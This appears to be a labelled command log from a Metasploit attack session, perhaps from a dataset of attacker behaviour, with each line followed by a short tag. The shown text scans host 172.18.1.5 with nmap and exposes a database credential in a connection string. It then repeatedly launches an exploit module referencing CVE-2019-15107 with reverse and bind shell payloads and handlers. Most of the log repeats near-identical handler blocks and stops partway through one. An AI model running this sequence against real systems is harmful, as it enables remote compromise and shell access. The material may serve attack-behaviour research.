

nmap --help A0

nmap -p1-65535 172.18.1.5 A0

msfdb init U

msf U

apt-get install armitage U

apt-get update U

exit U

armitage U

back U

db_status U

setg U

back U

back U

db_connect msf:h+L0XF0385dbJRGtPnNoaZSMxa7YHoFzS6juOkYFc=@localhost:5432/msf U

use windows/meterpreter/reverse_tcp U

back U

back U

setg LHOST 10.1.135.83 U

jobs U

back U

setg LPORT 28605 U

back U

back U

hosts -a 172.18.1.5 U

back U

use auxiliary/scanner/portscan/tcp U

set RHOSTS 172.18.1.5 U

set THREADS 24 U

set PORTS 50000 U

run -j U

db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 U

show exploits U

back U

use auxiliary/scanner/portscan/tcp U

set RHOSTS 172.18.1.5 U

set THREADS 24 U

set PORTS 50000 U

run -j U

msfconsole U

set RHOSTS 172.18.1.5 U

show U

show all U

show U

set exploit U

set exploit 2019-15107 A1 M1

help U

db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 U

use exploit/multi/handler U

set LHOST 0.0.0.0 U

set PAYLOAD generic/shell_reverse_tcp U

set LPORT 14718 U

set ExitOnSession false U

exploit -j U

use exploit/47230 U

set RHOSTS 172.18.1.5 U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 11265 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 80 U

set SSL 0 U

exploit -j U

use exploit/47230 U

set RHOSTS 172.18.1.5 U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 2139 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set LHOST 10.1.135.83 U

set LPORT 8871 U

set PAYLOAD generic/shell_reverse_tcp U

set ExitOnSession false U

exploit -j U

hosts -a 172.18.1.5 U

back U

use exploit/47230 U

set RHOSTS 172.18.1.5 U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 17595 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set LHOST 10.1.135.83 U

set LPORT 8871 U

set PAYLOAD generic/shell_reverse_tcp U

set ExitOnSession false U

exploit -j U

hosts -a 172.18.1.5 U

back U

use exploit/47230 U

set RHOSTS 172.18.1.5 U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 17595 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set LHOST 10.1.135.83 U

set LPORT 8871 U

set PAYLOAD generic/shell_reverse_tcp U

set ExitOnSession false U

exploit -j U

hosts -a 172.18.1.5 U

back U

use exploit/47230 U

set RHOSTS 172.18.1.5 U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 17595 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U

set RPORT 10000 U

set SSL 0 U

exploit -j U

use exploit/multi/handler U

set RHOSTS U

set TARGETURI / U

set TARGET 0 U

set LHOST 10.1.135.83 U

set LPORT 26069 U

set PAYLOAD generic/shell_bind_tcp U